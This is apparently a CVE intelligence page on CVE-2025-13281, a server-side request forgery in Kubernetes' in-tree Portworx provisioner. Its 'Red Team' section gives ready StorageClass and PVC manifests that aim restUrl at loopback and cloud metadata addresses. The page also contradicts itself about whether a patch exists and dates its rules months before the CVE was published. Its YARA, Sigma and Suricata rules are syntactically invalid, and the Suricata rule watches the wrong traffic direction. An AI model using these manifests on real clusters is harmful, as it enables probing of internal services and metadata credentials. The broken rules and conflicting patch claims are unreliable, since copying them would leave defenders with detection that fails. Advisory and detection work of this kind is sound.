☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.8 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13281

CVE-2025-13281 Server-Side Request Forgery in Portworx
📅 PUBLISHED: 2025-12-14 21:27 UTC 🔄 UPDATED: 2026-09-24 06:00 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13281 is a half-blind Server-Side Request Forgery (SSRF) vulnerability in the in-tree Portworx StorageClass integration within kube-controller-manager. This flaw allows an authenticated attacker with minimal privileges to force the Kubernetes control plane to make arbitrary HTTP requests to internal or link-local endpoints. The vulnerability is classified as half-blind because the attacker can observe response timing or side-channel data but does not receive full response bodies. The CVSS score of 5.8 reflects a medium severity, with the primary impact being information disclosure from unprotected control plane services.

The vulnerability resides in how kube-controller-manager processes StorageClass objects referencing Portworx. When a user creates a PersistentVolumeClaim (PVC) using a Portworx StorageClass, the controller fetches configuration from a user-supplied endpoint without proper validation. This enables SSRF attacks against loopback (127.0.0.1) or link-local (169.254.x.x) addresses, potentially leaking sensitive data from services like the Kubernetes API server’s health endpoints or cloud metadata services.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). It affects the Kubernetes control plane component kube-controller-manager when using the in-tree Portworx StorageClass plugin. The supply chain risk is indirect: if an attacker compromises a user with PVC creation permissions, they can exploit this SSRF to pivot to internal services. No open-source patch data is available from OSV or GitHub at this time.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
  • Base Score: 5.8 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs only PVC creation permissions.
  • User Interaction (UI): None – No user action needed.
  • Scope (S): Changed – The vulnerable component (kube-controller-manager) impacts resources beyond its original authorization scope.
  • Confidentiality (C): Low – Limited information disclosure (half-blind).
  • Integrity (I): None – No data modification possible.
  • Availability (A): None – No denial of service.

Threat Level: Medium. The half-blind nature limits data exfiltration, but the ability to probe internal services (e.g., cloud metadata endpoints) can lead to credential leakage in cloud environments.

Deep Dive & Mechanics

The vulnerability is triggered when kube-controller-manager processes a StorageClass with the provisioner: kubernetes.io/portworx-volume. The controller’s Portworx provisioner makes HTTP requests to a URL derived from the StorageClass parameters (e.g., restUrl). The flaw is that the URL is not validated against a whitelist, allowing an attacker to specify internal addresses.

Attack Flow:

  1. Attacker creates a StorageClass with provisioner: kubernetes.io/portworx-volume and sets parameters.restUrl to http://127.0.0.1:10252/healthz (a kube-controller-manager health endpoint).
  2. Attacker creates a PVC referencing this StorageClass.
  3. kube-controller-manager attempts to provision the volume by sending an HTTP GET to the attacker-controlled URL.
  4. The response (or lack thereof) is reflected in the PVC status or controller logs, leaking information (e.g., whether the endpoint exists, response timing).

Half-Blind Nature: The attacker does not receive the full response body but can infer information from:

  • PVC provisioning success/failure status.
  • Error messages in the controller logs (if accessible).
  • Timing differences (e.g., 200 vs 404 responses).

Affected Component: kube-controller-manager with in-tree Portworx volume plugin (enabled by default in many Kubernetes distributions).

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code path is in the Portworx in-tree provisioner (typically in pkg/volume/portworx/). The fix would involve:

  • Vulnerable: Direct use of user-supplied restUrl without validation.

    // Vulnerable pseudocode
    func (p *portworxProvisioner) Provision(...) error {
        restUrl := options.Parameters["restUrl"]
        resp, err := http.Get(restUrl) // No validation
        // ...
    }
    
  • Patched: Validate the URL against an allowlist of trusted endpoints.

    // Patched pseudocode
    func (p *portworxProvisioner) Provision(...) error {
        restUrl := options.Parameters["restUrl"]
        if !isAllowedURL(restUrl) {
            return fmt.Errorf("restUrl not allowed")
        }
        resp, err := http.Get(restUrl)
        // ...
    }
    func isAllowedURL(url string) bool {
        // Only allow specific Portworx API endpoints
        allowed := []string{"https://px-api.example.com", "http://px-svc:9001"}
        for _, a := range allowed {
            if strings.HasPrefix(url, a) {
                return true
            }
        }
        return false
    }
    

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a Kubernetes cluster with kube-controller-manager using in-tree Portworx.
  • Permissions to create StorageClass and PVC objects.

Exploit Steps:

  1. Create a malicious StorageClass:
    apiVersion: storage.k8s.io/v1
    kind: StorageClass
    metadata:
      name: exploit-sc
    provisioner: kubernetes.io/portworx-volume
    parameters:
      restUrl: "http://127.0.0.1:10252/healthz"
    
  2. Create a PVC using this StorageClass:
    apiVersion: v1
    kind: PersistentVolumeClaim
    metadata:
      name: exploit-pvc
    spec:
      accessModes:
        - ReadWriteOnce
      resources:
        requests:
          storage: 1Gi
      storageClassName: exploit-sc
    
  3. Monitor the PVC status. If the endpoint is reachable, the PVC may enter a Pending state with an error message indicating a connection was made. If unreachable, it may timeout.
  4. For link-local exploitation (e.g., cloud metadata), use http://169.254.169.254/latest/meta-data/.

Expected Outcome: Information disclosure about internal services (e.g., whether a health endpoint is alive, cloud metadata existence).

Blue Team (Detection & Hardening)

Detection:

  • Monitor kube-controller-manager logs for unusual HTTP requests to internal IPs.
  • Alert on StorageClass creation with provisioner: kubernetes.io/portworx-volume and non-standard restUrl parameters.

Hardening:

  • Disable the in-tree Portworx plugin if not used: --volume-plugins=... (exclude portworx).
  • Use a network policy to restrict kube-controller-manager egress to only known Portworx endpoints.
  • Implement admission controllers (e.g., OPA/Gatekeeper) to validate StorageClass parameters.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests from kube-controller-manager to loopback (127.0.0.1/8) or link-local (169.254.0.0/16) addresses.
  • Logs: kube-controller-manager logs containing lines like:
    E0210 12:34:56.789012   12345 portworx.go:123] Failed to connect to http://127.0.0.1:10252/healthz: connection refused
    
  • Kubernetes Objects: StorageClass with provisioner: kubernetes.io/portworx-volume and suspicious restUrl parameter.
  • PVC Status: PVC stuck in Pending with error messages referencing internal IPs.

Detection Engineering

YARA Rule

rule CVE_2025_13281_Portworx_SSRF {
    meta:
        description = "Detects SSRF attempts against internal IPs in kube-controller-manager logs"
        author = "Valters IT"
        date = "2025-02-10"
        cve = "CVE-2025-13281"
    strings:
        $s1 = "portworx" nocase
        $s2 = "127.0.0.1" or "169.254" or "localhost"
        $s3 = "connection refused" or "dial tcp" or "no route to host"
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-13281 Portworx SSRF Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts in kube-controller-manager logs targeting internal IPs
author: Valters IT
date: 2025/02/10
logsource:
    product: kubernetes
    service: kube-controller-manager
detection:
    selection:
        - "portworx"
        - "127.0.0.1" or "169.254" or "localhost"
        - "connection refused" or "dial tcp" or "no route to host"
    condition: all of selection
falsepositives:
    - Legitimate Portworx API calls to internal services (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13281 Portworx SSRF Attempt"; flow:to_server; content:"portworx"; http_uri; content:"127.0.0.1" or "169.254" or "localhost"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable in-tree Portworx plugin if not required: Add --volume-plugins=... to kube-controller-manager startup arguments, excluding portworx.
  2. Network Segmentation: Apply egress network policies to restrict kube-controller-manager outbound traffic to only known Portworx API endpoints.
  3. Admission Control: Use OPA/Gatekeeper to deny StorageClass creation with provisioner: kubernetes.io/portworx-volume unless restUrl matches an approved pattern.

Long-Term Fix:

  • Monitor the Portworx and Kubernetes upstream for an official patch.
  • Migrate to the out-of-tree Portworx CSI driver, which may have different validation logic.

Workaround:

  • If the Portworx plugin is essential, manually patch the kube-controller-manager binary to add URL validation (not recommended for production without thorough testing).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13281/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.